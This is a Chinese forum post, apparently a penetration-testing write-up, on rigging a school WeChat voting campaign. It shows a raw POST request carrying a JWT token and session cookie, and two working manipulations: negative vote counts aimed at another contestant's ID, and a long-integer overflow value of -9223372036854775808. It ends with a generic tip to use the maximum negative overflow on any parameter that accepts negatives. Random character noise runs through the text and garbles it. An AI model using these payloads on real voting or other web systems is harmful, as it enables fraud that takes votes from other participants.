中国网络渗透测试联盟

标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票 [打印本页]

作者: admin    时间: 2021-12-30 13:52
标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**6 l+ C! x$ u8 {
1 |6 M0 w7 d- N- j6 o7 E) m% F
1 l9 N/ N2 A& `8 m$ @% C8 R
**1** **、第一种方法突破微信登陆投票**
6 D$ k& Q0 B& f2 q3 [! ?
" q% G+ R9 r  b! t, d% R5 z一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票
$ T" {8 @5 a6 L; i. w! E- W# T3 B3 a2 P, {& G: ~7 ~. r
首先用微信识别老师发来的投票二维码如图:
3 |- I- u* i  X7 X- L+ I
- Y! u7 U  X7 j; J+ l![image.png](data/attachment/forum/202112/30/134534pzg7kjhhvmcuhpim.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")$ c5 t3 I  O# g! s0 U" v, M
9 b& Q# H' ^' g" P) S3 d
使用微信号登陆,不停的放包,直到这里( J4 r# [2 l! i; p! t( J

5 R" I$ Z- u+ T4 M![image.png](data/attachment/forum/202112/30/134608bhq1ihzxuigv2g1g.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")- F. R9 |6 R5 T; s; `( O* I
/ R  r: m7 T2 E6 A. d* M
修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:# o/ f% C6 M- G  D2 O; B

8 n- z/ b$ \' |$ n. G, @1 l![image.png](data/attachment/forum/202112/30/134642y5r9rz0q00rob5yb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
  B$ ^# [) \% ^: W- ~+ }- Q% R. d6 I
$ u9 }5 v' T9 I; s! H' w
$ ^, h/ Q3 I* Y6 T# A% ]0 v& Q8 E
这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:% P2 x; z4 s: l) ~. u
- J! d: [8 e, ?8 Y
![image.png](data/attachment/forum/202112/30/134740v0yd8lly3ndlojf8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
  i% |* {1 o" H- @, v
5 j. R- Q/ q) k* |! _! i: `
% t3 w( k' b; h/ m" L$ H2 B- H+ t2 R; V: \- R# m
票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。1 A. B1 C# v- _2 Q$ P

- q0 _/ R, t6 c  e以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**
5 F& u" _, Z8 U4 _# y: M
( D9 S" m& C- y% z" J! Y**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**8 e) `" _: t' H5 G
! W5 F. G; {4 j9 Y, R! L$ ^& I1 E
同样到这个包,如下:2 ~# F, @4 }4 P8 H  R6 s
5 X+ ^# o& }: }' S; O8 d2 X, S  A
```
) \' D, v) Y% X6 xPOST /vote/api/wx/voteFree/add HTTP/1.1
# h6 s0 m3 y' P5 ]2 sHost: 111.cn
% s& `: Y2 \" d' m1 b& PContent-Length: 732 K. u  L( F6 h; ~! g( b7 b* e1 K
Accept: application/json, text/javascript, */*; q=0.01/ L( N. g5 O( v) T& ?
X-Requested-With: XMLHttpRequest
. d! y3 W/ s9 C2 UUser-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64! J2 }" ~; ?$ q
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0  n1 f8 V& z  d: z( [- D6 m. r; b' w
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
) U" I* s: C5 z' f* aOrigin: http://111.cn
. T7 ?% G0 b: S0 N5 O' e, xReferer: http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default1 d: p! S3 h, b5 d3 ?- G
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.73 d& B( T6 S/ b1 }) j5 @& Z8 i
Cookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo$ C. _! N( s4 A' D+ e+ I; C3 ]
Connection: close# J, n$ D6 O- Y% g# p6 H! A6 b
voteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3! R# a5 |* M' s  F0 e

( c4 Q6 L9 a3 ?- U5 n: A5 }: R) F```5 r8 o6 e. o' i5 `
- |/ O/ [3 W  Z7 Q+ V( u
修改num=3333333{},如图:
6 k, g* V% F0 K  ?# ]7 l; o" Q, ^9 k6 G6 L
![image.png](data/attachment/forum/202112/30/134946uqvclqqb4vdy8oqt.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")! [$ s1 A# i9 |2 z  f

. `+ `" o. E1 k5 `! s: w
( ]' ~, F7 W$ y. V- Q) Q5 K3 h# E" ^' u1 L4 @* Q1 ~
判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:
! [4 X0 q, p4 u# E3 S  W5 ?1 q; u+ |1 ?" H* w2 |
![image.png](data/attachment/forum/202112/30/135025yj3ozszo4ggaojgj.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png"), l! C0 p: W8 A) s: f" J

& ^5 U( r, j! K+ E
6 ]$ K/ y7 i9 l8 y
) d5 p' |- F* e8 ?这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。( d6 J  _+ ]2 x' b1 B
9 V/ D3 F3 p% L0 j$ |' w6 P
也就是刷票数为负 -270多万,如上图。。。
# V# _+ v4 \) Y: Z/ e
4 L1 o2 P9 ?2 A" ^等溢出恢复以后票数变成15W多,排名第一,如图:2 |, t. Y$ f. k: s+ \: L% R

- v3 a6 m2 I( t( L* G! W4 S# A% X. B- s
![image.png](data/attachment/forum/202112/30/135104bemec992s9udxfzd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")! N' O' o9 v3 L- i3 |5 V& `

) ?7 U2 b6 t; F**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**# c0 _% K2 Z& b& D( J- x0 S. ]- G5 |
[/md]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2